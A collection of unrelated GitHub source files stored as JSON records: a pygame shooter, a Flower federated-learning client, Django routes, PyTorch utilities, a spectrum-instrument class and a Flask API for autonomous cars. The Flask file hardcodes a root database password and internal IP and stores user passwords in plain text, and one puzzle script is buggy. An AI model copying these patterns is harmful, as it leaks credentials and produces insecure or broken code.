sprite.pos.x\r\n if direction == 'y':\r\n collisions = pg.sprite.spritecollide(sprite, group, False, collide_hit_rect)\r\n if collisions:\r\n if collisions[0].rect.centery > sprite.hit_rect.centery:\r\n sprite.pos.y = collisions[0].rect.top - sprite.hit_rect.height / 2\r\n if collisions[0].rect.centery < sprite.hit_rect.centery:\r\n sprite.pos.y = collisions[0].rect.bottom + sprite.hit_rect.height / 2\r\n sprite.vel.y = 0\r\n sprite.hit_rect.centery = sprite.pos.y\r\n\r\n\r\nclass Player(pg.sprite.Sprite):\r\n def __init__(self, game, x, y):\r\n self._layer = PLAYER_LAYER\r\n self.groups = game.all_sprites\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n self.image = game.player_img\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (x, y)\r\n self.hit_rect = PLAYER_HIT_RECT\r\n self.hit_rect.center = self.rect.center\r\n self.vel = vector(0, 0)\r\n self.pos = vector(x, y)\r\n self.rot = 0\r\n self.last_shot = 0\r\n self.health = PLAYER_HEALTH\r\n self.weapon = 'pistol'\r\n self.damaged = False\r\n self.healing = False\r\n\r\n def get_keys(self):\r\n self.rot_speed = 0\r\n self.vel = vector(0, 0)\r\n keys = pg.key.get_pressed()\r\n if keys[pg.K_LEFT] or keys[pg.K_a]:\r\n self.rot_speed = PLAYER_ROT_SPEED\r\n if keys[pg.K_RIGHT] or keys[pg.K_d]:\r\n self.rot_speed = -PLAYER_ROT_SPEED\r\n if keys[pg.K_UP] or keys[pg.K_w]:\r\n self.vel = vector(PLAYER_SPEED, 0).rotate(-self.rot)\r\n if keys[pg.K_DOWN] or keys[pg.K_s]:\r\n self.vel = vector(-PLAYER_SPEED / 2, 0).rotate(-self.rot)\r\n if keys[pg.K_SPACE]:\r\n self.shoot()\r\n\r\n def add_health(self, amount):\r\n self.healing = True\r\n self.healing_alpha = chain(DMG_ALPHA * 2)\r\n self.health += amount\r\n if self.health > PLAYER_HEALTH:\r\n self.health = PLAYER_HEALTH\r\n\r\n def hit(self):\r\n self.damaged = True\r\n self.damage_alpha = chain(DMG_ALPHA * 2)\r\n\r\n def shoot(self):\r\n now = pg.time.get_ticks()\r\n if now - self.last_shot > WEAPONS[self.weapon]['bullet_rate']:\r\n # spawn a bullet\r\n self.last_shot = now\r\n dir = vector(1, 0).rotate(-self.rot)\r\n pos = self.pos + BARREL_OFFSET.rotate(-self.rot)\r\n # calculate kickback of bullet shot\r\n self.vel = vector(-WEAPONS[self.weapon]['kickback'], 0).rotate(-self.rot)\r\n for i in range(WEAPONS[self.weapon]['bullet_count']):\r\n spread = random.uniform(-WEAPONS[self.weapon]['spread'], WEAPONS[self.weapon]['spread'])\r\n Bullet(self.game, pos, dir.rotate(spread))\r\n snd = random.choice(self.game.weapon_sounds[self.weapon])\r\n if snd.get_num_channels() > 2:\r\n snd.stop()\r\n snd.play()\r\n MuzzleFlash(self.game, pos)\r\n\r\n def update(self):\r\n self.get_keys()\r\n self.rot = (self.rot + self.rot_speed * self.game.dt) % 360\r\n self.image = pg.transform.rotate(self.game.player_img, self.rot)\r\n if self.damaged:\r\n try:\r\n self.image.fill((255, 0, 0, next(self.damage_alpha)), special_flags=pg.BLEND_RGBA_MULT)\r\n except:\r\n self.damaged = False\r\n if self.healing:\r\n try:\r\n self.image.fill((0, 255, 0, next(self.healing_alpha)), special_flags=pg.BLEND_RGBA_MULT)\r\n except:\r\n self.healing = False\r\n\r\n self.rect = self.image.get_rect()\r\n self.rect.center = self.pos\r\n self.pos += self.vel * self.game.dt\r\n self.hit_rect.centerx = self.pos.x\r\n collide_with_walls(self, self.game.walls, 'x')\r\n self.hit_rect.centery = self.pos.y\r\n collide_with_walls(self, self.game.walls, 'y')\r\n self.rect.center = self.hit_rect.center\r\n\r\n\r\nclass Wall(pg.sprite.Sprite):\r\n def __init__(self, game, x, y):\r\n self._layer = WALL_LAYER\r\n self.groups = game.all_sprites, game.walls\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n self.image = self.game.wall_img\r\n self.rect = self.image.get_rect()\r\n self.x = x\r\n self.y = y\r\n self.rect.x = x * TILESIZE\r\n self.rect.y = y * TILESIZE\r\n\r\n\r\nclass Obstacle(pg.sprite.Sprite):\r\n def __init__(self, game, x, y, w, h):\r\n self._layer = WALL_LAYER\r\n self.groups = game.walls\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n self.rect = pg.Rect(x, y, w, h)\r\n self.x = x\r\n self.y = y\r\n self.rect.x = x\r\n self.rect.y = y\r\n\r\n\r\nclass Bullet(pg.sprite.Sprite):\r\n def __init__(self, game, pos, dir):\r\n self._layer = BULLET_LAYER\r\n self.groups = game.all_sprites, game.bullets\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n self.image = game.bullet_images[WEAPONS[game.player.weapon]['bullet_size']]\r\n self.rect = self.image.get_rect()\r\n self.hit_rect = self.rect\r\n self.pos = vector(pos)\r\n self.rect.center = pos\r\n self.vel = dir * WEAPONS[game.player.weapon]['bullet_speed'] * random.uniform(0.9, 1.1)\r\n self.spawn_time = pg.time.get_ticks()\r\n\r\n def update(self):\r\n self.pos += self.vel * self.game.dt\r\n self.rect.center = self.pos\r\n if pg.sprite.spritecollideany(self, self.game.walls):\r\n self.kill()\r\n if pg.time.get_ticks() - self.spawn_time > WEAPONS[self.game.player.weapon]['bullet_lifetime']:\r\n self.kill()\r\n\r\n\r\nclass Mob(pg.sprite.Sprite):\r\n def __init__(self, game, x, y):\r\n self._layer = MOB_LAYER\r\n self.groups = game.all_sprites, game.mobs\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n self.image = self.game.mob_img.copy()\r\n self.rect = self.image.get_rect()\r\n self.rect.center = (x, y)\r\n self.hit_rect = MOB_HIT_RECT.copy()\r\n self.hit_rect.center = self.rect.center\r\n self.pos = vector(x, y)\r\n self.vel = vector(0, 0)\r\n self.acc = vector(0, 0)\r\n self.rect.center = self.pos\r\n self.rot = 0\r\n self.health = MOB_HEALTH\r\n self.speed = random.choice(MOB_SPEEDS)\r\n self.target = game.player\r\n\r\n def update(self):\r\n target_distance = self.target.pos - self.pos\r\n # not calc sqrt because of relatively slow computation time\r\n if target_distance.length_squared() < MOB_DETECT_RAD**2:\r\n if random.random() < 0.002:\r\n random.choice(self.game.zombie_moan_sounds).play()\r\n self.rot = target_distance.angle_to(vector(1, 0))\r\n self.image = pg.transform.rotate(self.game.mob_img, self.rot)\r\n self.rect = self.image.get_rect()\r\n self.rect.center = self.pos\r\n self.acc = vector(1, 0).rotate(-self.rot)\r\n self.avoid_mobs()\r\n self.acc.scale_to_length(self.speed)\r\n self.acc += self.vel * -1\r\n self.vel += self.acc * self.game.dt\r\n self.pos += self.vel * self.game.dt + 0.5 * self.acc * self.game.dt ** 2\r\n self.hit_rect.centerx = self.pos.x\r\n collide_with_walls(self, self.game.walls, 'x')\r\n self.hit_rect.centery = self.pos.y\r\n collide_with_walls(self, self.game.walls, 'y')\r\n self.rect.center = self.hit_rect.center\r\n # kill if no more health\r\n if self.health <= 0:\r\n random.choice(self.game.zombie_hit_sounds).play()\r\n self.kill()\r\n self.game.map_img.blit(self.game.splat_img, self.pos - vector(32, 32))\r\n\r\n def avoid_mobs(self):\r\n for mob in self.game.mobs:\r\n if mob != self:\r\n dist = self.pos - mob.pos\r\n if 0 < dist.length() < MOB_AVOID_RAD:\r\n self.acc += dist.normalize()\r\n\r\n def draw_health(self):\r\n if self.health > 60:\r\n color = GREEN\r\n elif self.health > 30:\r\n color = YELLOW\r\n else:\r\n color = RED\r\n\r\n width = int(self.rect.width * self.health / MOB_HEALTH)\r\n self.health_bar = pg.Rect(0, 0, width, 7)\r\n if self.health < MOB_HEALTH:\r\n pg.draw.rect(self.image, color, self.health_bar)\r\n\r\n\r\nclass MuzzleFlash(pg.sprite.Sprite):\r\n def __init__(self, game, pos):\r\n self._layer = EFFECTS_LAYER\r\n self.groups = game.all_sprites\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n size = random.randint(20, 50)\r\n self.image = pg.transform.scale(random.choice(self.game.gun_flashes), (size, size))\r\n self.rect = self.image.get_rect()\r\n self.pos = pos\r\n self.rect.center = pos\r\n self.hit_rect = self.rect\r\n self.spawn_timer = pg.time.get_ticks()\r\n\r\n def update(self):\r\n if pg.time.get_ticks() - self.spawn_timer > FLASH_DURATION:\r\n self.kill()\r\n\r\n\r\nclass Item(pg.sprite.Sprite):\r\n def __init__(self, game, pos, type):\r\n self._layer = ITEM_LAYER\r\n self.groups = game.all_sprites, game.items\r\n pg.sprite.Sprite.__init__(self, self.groups)\r\n self.game = game\r\n self.image = game.item_images[type]\r\n self.rect = self.image.get_rect()\r\n self.type = type\r\n self.pos = pos\r\n self.rect.center = pos\r\n self.hit_rect = self.rect\r\n self.tween = ptw.easeInOutSine\r\n self.step = 0\r\n self.dir = 1\r\n\r\n def update(self):\r\n # bobbing motion\r\n offset = BOB_RANGE * (self.tween(self.step / BOB_RANGE) - 0.5)\r\n self.rect.centery = self.pos.y + offset * self.dir\r\n self.step += BOB_SPEED\r\n if self.step > BOB_RANGE:\r\n self.step = 0\r\n self.dir *= -1","repo_name":"nicolaseckhart/pygame_playground","sub_path":"tilebased_shooter/sprites.py","file_name":"sprites.py","file_ext":"py","file_size_in_byte":10827,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"69838760784","text":"import os, sys\n__dir__ = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(__dir__), sys.path.append(os.path.abspath(os.path.join(__dir__, \"..\")))\n\nfrom helpers import *\nimport wandb \nimport flwr as fl\n\nimport warnings\nwarnings.simplefilter(\"ignore\", UserWarning) # Ignore warning for lr_scheduler\n\nclass FlowerNumPyClient(fl.client.NumPyClient):\n def __init__(self, \n cid, net, \n trainloader, \n valloader, \n lr_scheduler):\n self.cid = cid\n self.net = net\n self.trainloader = trainloader\n self.valloader = valloader\n self.lr_scheduler = lr_scheduler\n\n def get_parameters(self, config):\n print(f\"[Client {self.cid}] get_parameters\")\n return get_parameters(self.net)\n\n def fit(self, parameters, config):\n print(f\"[Client {self.cid}] fit, config: {config}\")\n num_epochs = config[\"local_epochs\"] \n set_parameters(self.net, parameters)\n train(self.net, self.trainloader, epochs=num_epochs) \n self.lr_scheduler.step() \n return get_parameters(self.net), len(self.trainloader), {}\n\n def evaluate(self, parameters, config):\n print(f\"[Client {self.cid}] evaluate, config: {config}\")\n set_parameters(self.net, parameters)\n loss, accuracy = test(self.net, self.valloader)\n wandb.log({\"evaluate_loss\":loss, \"evaluate_accuracy\": accuracy}, step = self.round)\n return float(loss), len(self.valloader), {\"accuracy\": float(accuracy)}\n\n","repo_name":"lechicuong2k3/backdoor_fl","sub_path":"FL/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1531,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"1838664574","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name ='home'),\n path('shops', views.all_shops, name = 'all_shops'),\n path('shop/create', views.create_shop, name = 'create_shop'),\n path('shop/update', views.update_shop, name = 'update_shop'),\n path('shop/', views.shop, name = 'shop'),\n path('shop//add_product', views.add_product, name = 'add_product'),\n path('shop//update_product', views.update_product, name = 'update_product'),\n path('shop//orders', views.shop_orders, name = 'shop_orders'),\n path('shop//products', views.manage_products, name = 'manage_products'),\n path('product/', views.product, name = 'product'),\n path('products/', views.all_products, name='all_products'),\n path('cart', views.cart, name = 'cart'),\n path('add_to_cart/', views.add_to_cart, name = \"add_to_cart\"),\n path('checkout/', views.checkout, name = \"checkout\"),\n path('checkout//success', views.checkout_success, name = 'checkout_success'),\n path('orders/', views.my_orders, name = 'my_orders'),\n path('orders//download', views.download_order, name = 'download_orders'),\n\n]\n","repo_name":"al-rafi304/Ecommerce-Website","sub_path":"ecom_website/store/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1260,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"31583632788","text":"### 20 blocks of alphabets will be given \n### blocks = [(\"B\", \"O\"),(\"X\", \"K\"),...,(\"Z\", \"M\")]\nblocks = [(\"B\", \"O\"),\n (\"X\", \"K\"),\n (\"D\", \"Q\"),\n (\"C\", \"P\"),\n (\"N\", \"A\"),\n (\"G\", \"T\"),\n (\"R\", \"E\"),\n (\"T\", \"G\"),\n (\"Q\", \"D\"),\n (\"F\", \"S\"),\n (\"J\", \"W\"),\n (\"H\", \"U\"),\n (\"V\", \"I\"),\n (\"A\", \"N\"),\n (\"O\", \"B\"),\n (\"E\", \"R\"),\n (\"F\", \"S\"),\n (\"L\", \"Y\"),\n (\"P\", \"C\"),\n (\"Z\", \"M\")]\n\ndef canmakewordbyblock(word, block_of_words = blocks):\n\t\n\tflag = False\n\n\tif word == None:\n\t\treturn True\n\n\tfor char in word.upper:\n\t\tfor block in block_of_words:\n\t\t\tif char in block:\n\t\t\t\tflag = True\n\t\t\telse:\n\t\t\t\tflag = False\n\t\t\t\tbreak\n\n\tif flag == True:\n\t\treturn true\n\telse:\n\t\treturn false\t\t\t\t\t\n\n\n\tif __name__ == \"__main__\":\n\t\t\n\n\t\tprint(\", \".join(\"%s: %s\" % (word, canmakewordbyblock(word)) for word in [\"shan\", \"dae\", \"taek\", \"aa\"]))\t\t\t","repo_name":"shanshar06/RosettaCode","sub_path":"abc.py","file_name":"abc.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16897919493","text":"import os\nimport gc\nimport sys\nimport torch\nimport warnings\nfrom random import randint\nfrom datetime import datetime\n\n\nclass DataParallel(torch.nn.DataParallel):\n \"\"\"\n Extend DataParallel class to access model level attributes/methods\n \"\"\"\n def __getattr__(self, name):\n try:\n return super().__getattr__(name)\n except AttributeError:\n return getattr(self.module, name)\n\n\n\ndef get_time():\n return datetime.strftime(datetime.now(), \"%Y-%m-%dT%H%M%S\")\n\n\ndef get_mem():\n \"\"\"\n Print all params and memory usage\n\n **Used for debugging purposes**\n \"\"\"\n warnings.filterwarnings(\"ignore\", category=DeprecationWarning) \n for obj in gc.get_objects():\n try:\n if torch.is_tensor(obj) or (hasattr(obj, 'data') and torch.is_tensor(obj.data)):\n print(obj.__class__.__name__, obj.shape, type(obj), sys.getsizeof(obj.storage()), obj.device)\n except: pass\n\n\n\ndef save_model(model, optimizer, epoch, data, checkpoint_dir, model_name):\n \"\"\"\n Save the given model's state\n \"\"\"\n if not os.path.isdir(os.path.join(checkpoint_dir, data.dataset_name)):\n os.makedirs(os.path.join(checkpoint_dir, data.dataset_name), exist_ok=True)\n\n # If wrapped in DataParallel object this is how we access the underlying model\n if isinstance(model, DataParallel):\n model_obj = model.module\n else:\n model_obj = model\n\n torch.save({\n \"model_state_dict\": model_obj.state_dict(),\n \"optimizer_state_dict\": optimizer.state_dict(),\n\n # TODO: Remove 'latent_dim' and replace with two commented lines\n \"latent_dim\": model_obj.ent_emb_dim,\n # \"ent_dim\": model_obj.ent_emb_dim,\n # \"reldim\": model_obj.rel_emb_dim,\n \n \"loss_fn\": model_obj.loss_fn.__class__.__name__,\n \"epoch\": epoch,\n \"inverse\": data.inverse\n }, \n os.path.join(checkpoint_dir, data.dataset_name, f\"{model_name}.tar\")\n )\n\n\ndef load_model(model, optimizer, dataset_name, checkpoint_dir, suffix=None):\n \"\"\"\n Load the saved model\n \"\"\"\n if suffix is None:\n file_path = os.path.join(checkpoint_dir, dataset_name, f\"{model.name}.tar\")\n else:\n file_path = os.path.join(checkpoint_dir, dataset_name, f\"{model.name}_{suffix}.tar\")\n\n if not os.path.isfile(file_path):\n print(f\"The file {file_path} doesn't exist\")\n return None, None\n\n # If wrapped in DataParallel object this is how we access the underlying model\n if isinstance(model, DataParallel):\n model_obj = model.module\n else:\n model_obj = model\n\n checkpoint = torch.load(file_path)\n model_obj.load_state_dict(checkpoint['model_state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n\n return model_obj, optimizer\n\n\ndef checkpoint_exists(model_name, dataset_name, checkpoint_dir, epoch=None):\n \"\"\"\n Check if a given checkpoint was ever saved\n \"\"\"\n if epoch is None:\n file_path = os.path.join(checkpoint_dir, dataset_name, f\"{model_name}.tar\")\n else:\n file_path = os.path.join(checkpoint_dir, dataset_name, f\"{model_name}_epoch_{epoch}.tar\")\n\n return os.path.isfile(file_path)\n\n\ndef randint_exclude(begin, end, exclude):\n \"\"\"\n Randint but exclude a list of numbers\n\n Parameters:\n -----------\n begin: int \n begin of range\n end: int \n end of range (exclusive)\n exclude: Sequence \n numbers to exclude\n\n Returns:\n --------\n int\n randint not in exclude\n \"\"\"\n while True:\n x = randint(begin, end-1)\n\n if x not in exclude:\n return x\n\n\ndef generate_rand_edges(num_edges, num_ents, num_rels, inverse=False):\n \"\"\"\n Generate `num_edges` random edge. \n \n When inverse == True we first generate a non-inverse edge and then create the inverse edge.\n\n Parameters:\n -----------\n num_edges: int\n Number of edges to generate. When inverse == True we cut in half\n num_ents: int\n Number of entities in dataset\n num_rels: int\n Number of relation in dataset\n inverse: bool\n Whether there are inverse edges in dataset\n \n Returns:\n --------\n list\n Random edges of shape (s, r, o)\n \"\"\"\n rand_edges = []\n num_edges = num_edges // 2 if inverse else num_edges\n num_rels = num_rels // 2 if inverse else num_rels\n\n for _ in range(int(num_edges)):\n new_edge = (randint(0, num_ents-1), randint(0, num_rels-1), randint(0, num_ents-1))\n rand_edges.append(new_edge)\n\n if inverse:\n new_inv_edge = (new_edge[2], new_edge[1] + num_rels, new_edge[0])\n rand_edges.append(new_inv_edge)\n \n return rand_edges\n","repo_name":"HarryShomer/KG-Mixup","sub_path":"kgpy/kgpy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"47"} +{"seq_id":"773058665","text":"from yt.units.yt_array import \\\n YTQuantity\n\nfrom trident.absorption_spectrum.absorption_spectrum import \\\n _bin_space_units\n\nclass Instrument(object):\n \"\"\"\n An instrument class for specifying a spectrograph/telescope pair\n\n **Parameters**\n\n :lambda_min: float or YTQuantity\n\n Minimum desired wavelength for generated spectrum in angstroms\n\n :lambda_max: float or YTQuantity\n\n Maximum desired wavelength for generated spectrum in angstroms\n\n :n_lambda: int\n\n Number of desired wavelength bins for the spectrum\n Setting dlambda overrides n_lambda value\n Default: None\n\n :dlambda: float or YTQuantity\n\n Desired bin width for the spectrum in angstroms\n Setting dlambda overrides n_lambda value\n Default: None\n\n :lsf_kernel: string\n\n The filename for the :class:`~trident.LSF` kernel\n Default: None\n\n :name: string\n\n Name assigned to the :class:`~trident.Instrument` object\n Default: None\n\n \"\"\"\n def __init__(self, lambda_min, lambda_max, n_lambda=None,\n dlambda=None, lsf_kernel=None, bin_space='wavelength',\n name=None):\n\n self.bin_space = bin_space\n\n if str(lambda_min) != 'auto' and not isinstance(lambda_min, YTQuantity):\n lambda_min = YTQuantity(lambda_min, _bin_space_units[self.bin_space])\n self.lambda_min = lambda_min\n\n if str(lambda_max) != 'auto' and not isinstance(lambda_max, YTQuantity):\n lambda_max = YTQuantity(lambda_max, _bin_space_units[self.bin_space])\n self.lambda_max = lambda_max\n\n self.lsf_kernel = lsf_kernel\n self.name = name\n if n_lambda is None and dlambda is None:\n raise RuntimeError(\"Either n_lambda or dlambda must be set to \"\n \"specify the binsize\")\n elif dlambda is not None:\n if not isinstance(dlambda, YTQuantity):\n dlambda = YTQuantity(dlambda, _bin_space_units[self.bin_space])\n if str(lambda_min) == 'auto' or str(lambda_max) == 'auto':\n n_lambda = 'auto'\n else:\n # adding 1 here to assure we cover full lambda range\n n_lambda = (lambda_max - lambda_min) / dlambda + 1\n self.n_lambda = n_lambda\n if dlambda is None:\n # adding 1 here to assure we cover full lambda range\n dlambda = (lambda_max - lambda_min) / float(n_lambda - 1)\n self.dlambda = dlambda\n\n def __repr__(self):\n disp = \":\\n\"\n disp += \" name: %s\\n\" % self.name\n disp += \" lambda_min: %s\\n\" % self.lambda_min\n disp += \" lambda_max: %s\\n\" % self.lambda_max\n disp += \" n_lambda: %s\\n\" % self.n_lambda\n disp += \" dlambda: %s\\n\" % self.dlambda\n disp += \" lsf_kernel: %s\\n\" % self.lsf_kernel\n return disp\n","repo_name":"chummels/trident_test","sub_path":"trident/instrument.py","file_name":"instrument.py","file_ext":"py","file_size_in_byte":2904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23186614860","text":"def is_leap(year):\n leap = False\n\n if year % 4 == 0:\n leap = True\n if year % 100 == 0:\n leap = False\n if year % 400 == 0:\n leap = True\n else:\n leap = False\n else:\n leap = False\n\n return leap\n\ndef days_in_month(year, month):\n \"\"\" Retorna o número de dias em um mês\"\"\"\n month_days = [31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]\n if month == 2 and is_leap(year):\n return 29\n return month_days[month-1]\n \n#🚨 Do NOT change any of the code below \nyear = int(input(\"Enter a year: \"))\nmonth = int(input(\"Enter a month: \"))\ndays = days_in_month(year, month)\nprint(days)","repo_name":"gabdsalles/100_days_of_code","sub_path":"Day 10/days_in_month.py","file_name":"days_in_month.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21539288385","text":"from flask import Flask, jsonify, request\r\nfrom flask_sqlalchemy import SQLAlchemy\r\nfrom flask_marshmallow import Marshmallow\r\nfrom flask_cors import CORS\r\nfrom datetime import datetime\r\n\r\napp = Flask(__name__)\r\nCORS(app)\r\n\r\napp.config['SQLALCHEMY_DATABASE_URI']='mysql+pymysql://root:Gamma2021*@10.2.1.80/5G'\r\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\r\n\r\ndb = SQLAlchemy(app)\r\nma = Marshmallow(app)\r\n\r\nclass ParametersCA(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n name = db.Column(db.String(50), unique=True)\r\n busy = db.Column(db.Float )\r\n speed = db.Column(db.Float)\r\n battery = db.Column(db.Float)\r\n state = db.Column(db.String(20))\r\n lat = db.Column(db.String(50))\r\n lng = db.Column(db.String(50))\r\n utmx = db.Column(db.String(50))\r\n utmy = db.Column(db.String(50))\r\n\r\n def __init__(self, name, busy, speed, battery, state, lat, lng, utmx, utmy):\r\n self.name = name\r\n self.busy = busy\r\n self.speed = speed\r\n self.battery = battery\r\n self.state = state\r\n self.lat = lat\r\n self.lng = lng\r\n self.utmx = utmx\r\n self.utmy = utmy\r\n\r\nclass Stop(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n num = db.Column(db.Integer)\r\n name = db.Column(db.String(50))\r\n lat = db.Column(db.String(50))\r\n lng = db.Column(db.String(50))\r\n\r\n def __init__(self, num, name, lat, lng):\r\n self.num = num\r\n self.name = name\r\n self.lat = lat\r\n self.lng = lng\r\n\r\nclass Route(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n lat = db.Column(db.String(50))\r\n lng = db.Column(db.String(50))\r\n\r\n def __init__(self, lat, lng):\r\n self.lat = lat\r\n self.lng = lng\r\n\r\nclass Login(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n username = db.Column(db.String(50), unique=True)\r\n password = db.Column(db.String(50))\r\n name = db.Column(db.String(50))\r\n email = db.Column(db.String(50))\r\n verified = db.Column(db.Boolean,default=False)\r\n admin = db.Column(db.String(10))\r\n \r\n def __init__(self, username, password, name, email, verified, admin):\r\n self.username = username\r\n self.password = password\r\n self.name = name\r\n self.email = email\r\n self.verified = verified\r\n self.admin = admin\r\n \r\nclass Request(db.Model):\r\n id = db.Column(db.Integer, primary_key=True)\r\n username = db.Column(db.String(50))\r\n pickupStop = db.Column(db.String(2))\r\n arrivalStop = db.Column(db.String(2))\r\n state = db.Column(db.String(10))\r\n timestamp = db.Column(db.DateTime, nullable=True, default=datetime.utcnow)\r\n lat = db.Column(db.String(20), nullable=True)\r\n lng = db.Column(db.String(20), nullable=True)\r\n car = db.Column(db.String(50), nullable=True)\r\n \r\n def __init__(self, username, pickupStop, arrivalStop, state, timestamp, lat, lng, car):\r\n self.username = username\r\n self.pickupStop = pickupStop\r\n self.arrivalStop = arrivalStop\r\n self.state = state\r\n self.timestamp = timestamp\r\n self.lat = lat\r\n self.lng = lng\r\n self.car = car\r\n\r\ndb.create_all()\r\n\r\nclass ParametersCASchema(ma.Schema):\r\n class Meta:\r\n fields = ('id', 'name', 'busy', 'speed', 'battery', 'state', 'lat', 'lng', 'utmx', 'utmy')\r\n\r\nparametersCA_schema = ParametersCASchema()\r\nparametersCCAA_schema = ParametersCASchema(many=True)\r\n\r\nclass StopSchema(ma.Schema):\r\n class Meta:\r\n fields = ('id', 'num', 'name', 'lat', 'lng')\r\nstop_schema = StopSchema()\r\nstops_schema = StopSchema(many=True)\r\n\r\nclass RouteSchema(ma.Schema):\r\n class Meta:\r\n fields = ('id', 'lat', 'lng')\r\n\r\nroute_schema = RouteSchema(many=True)\r\n\r\nclass LoginSchema(ma.Schema):\r\n class Meta:\r\n fields = ('id', 'username', 'password', 'name', 'email','verified','admin')\r\nuser_schema = LoginSchema()\r\nusers_schema = LoginSchema(many=True)\r\n\r\nclass RequestSchema(ma.Schema):\r\n class Meta:\r\n fields = ('id', 'username', 'pickupStop', 'arrivalStop', 'state', 'timestamp','lat', 'lng', 'car')\r\nrequest_schema = RequestSchema()\r\nrequests_schema = RequestSchema(many=True)\r\n\r\n######################################################\r\n# P A R A M E T E R S C C A A #\r\n######################################################\r\n\r\n@app.route('/parametersCCAA', methods=['GET'])\r\ndef get_parametersCCAA():\r\n all_parametersCCAA = ParametersCA.query.all()\r\n result = parametersCCAA_schema.dump(all_parametersCCAA)\r\n return jsonify(result)\r\n\r\n\r\n@app.route('/parametersCA/name/', methods=['GET'])\r\ndef get_parametersCA(name):\r\n all_parametersCCAA = ParametersCA.query.all()\r\n result = parametersCCAA_schema.dump(all_parametersCCAA)\r\n\r\n productFound = [product for product in result if product['name'] == name ]\r\n if (len(productFound)>0):\r\n return jsonify(productFound[0])\r\n return jsonify({\"message\": \"Producto no encontrado\"})\r\n\r\n\r\n@app.route('/parametersCA', methods=['POST'])\r\ndef create_parametersCA():\r\n\r\n name = request.json['name']\r\n busy = request.json['busy']\r\n speed = request.json['speed']\r\n battery = request.json['battery']\r\n state = request.json['state']\r\n lat = request.json['lat']\r\n lng = request.json['lng']\r\n utmx = request.json['utmx']\r\n utmy = request.json['utmy']\r\n\r\n new_parametersCA = ParametersCA(name, busy, speed, battery, state, lat, lng, utmx, utmy)\r\n db.session.add(new_parametersCA)\r\n db.session.commit()\r\n\r\n return parametersCA_schema.jsonify(new_parametersCA)\r\n\r\n@app.route('/parametersCA/', methods=[\"PUT\"])\r\ndef update_parametersCA(name):\r\n \r\n all_parametersCCAA = ParametersCA.query.all()\r\n result = parametersCCAA_schema.dump(all_parametersCCAA)\r\n parametersCAFound = [parametersCA for parametersCA in result if parametersCA['name'] == name ]\r\n if (len(parametersCAFound)>0):\r\n parametersCA = ParametersCA.query.get(parametersCAFound[0]['id'])\r\n if 'name' in request.json: parametersCA.name = request.json['name']\r\n if 'busy' in request.json: parametersCA.busy = request.json['busy']\r\n if 'speed' in request.json: parametersCA.speed = request.json['speed']\r\n if 'battery' in request.json: parametersCA.battery = request.json['battery']\r\n if 'state' in request.json: parametersCA.state = request.json['state']\r\n if 'lat' in request.json: parametersCA.lat= request.json['lat']\r\n if 'lng' in request.json: parametersCA.lng= request.json['lng']\r\n if 'utmx' in request.json: parametersCA.utmx = request.json['utmx']\r\n if 'utmy' in request.json: parametersCA.utmy = request.json['utmy']\r\n db.session.commit()\r\n return jsonify(parametersCAFound[0])\r\n return jsonify({\"message\": \"ERROR 404: NOT FOUND\"})\r\n\r\n\r\n@app.route('/parametersCA/', methods=[\"DELETE\"])\r\ndef delete_parametersCA(name):\r\n\r\n \r\n all_parametersCCAA = ParametersCA.query.all()\r\n result = parametersCCAA_schema.dump(all_parametersCCAA)\r\n parametersCAFound = [product for product in result if product['name'] == name ]\r\n if (len(parametersCAFound)>0):\r\n parametersCA = ParametersCA.query.get(parametersCAFound[0]['id'])\r\n db.session.delete(parametersCA)\r\n db.session.commit()\r\n return parametersCA_schema.jsonify(parametersCA)\r\n \r\n return jsonify({\"message\": \"ERROR 404: NOT FOUND\"})\r\n \r\n \r\n######################################################\r\n# S T O P S #\r\n######################################################\r\n \r\n@app.route('/stops', methods=['GET'])\r\ndef get_stops():\r\n all_stops = Stop.query.all()\r\n result = stops_schema.dump(all_stops)\r\n return jsonify(result)\r\n\r\n@app.route('/stop', methods=['POST'])\r\ndef create_stop():\r\n\r\n num = request.json['num']\r\n name = request.json['name']\r\n lat = request.json['lat']\r\n lng = request.json['lng']\r\n\r\n new_stop = Stop(num, name, lat, lng)\r\n db.session.add(new_stop)\r\n db.session.commit()\r\n\r\n return stop_schema.jsonify(new_stop)\r\n \r\n@app.route('/stop/', methods=[\"DELETE\"])\r\ndef delete_stop(name):\r\n\r\n all_stops = Stop.query.all()\r\n stop_result = stops_schema.dump(all_stops)\r\n stop_found = [stop for stop in stop_result if stop['name'] == name.replace(\"\\\"\",\"\").replace(\"\\'\",\"\") ]\r\n \r\n\r\n for stop in stop_found:\r\n stop_delete = Stop.query.get(stop['id'])\r\n db.session.delete(stop_delete)\r\n 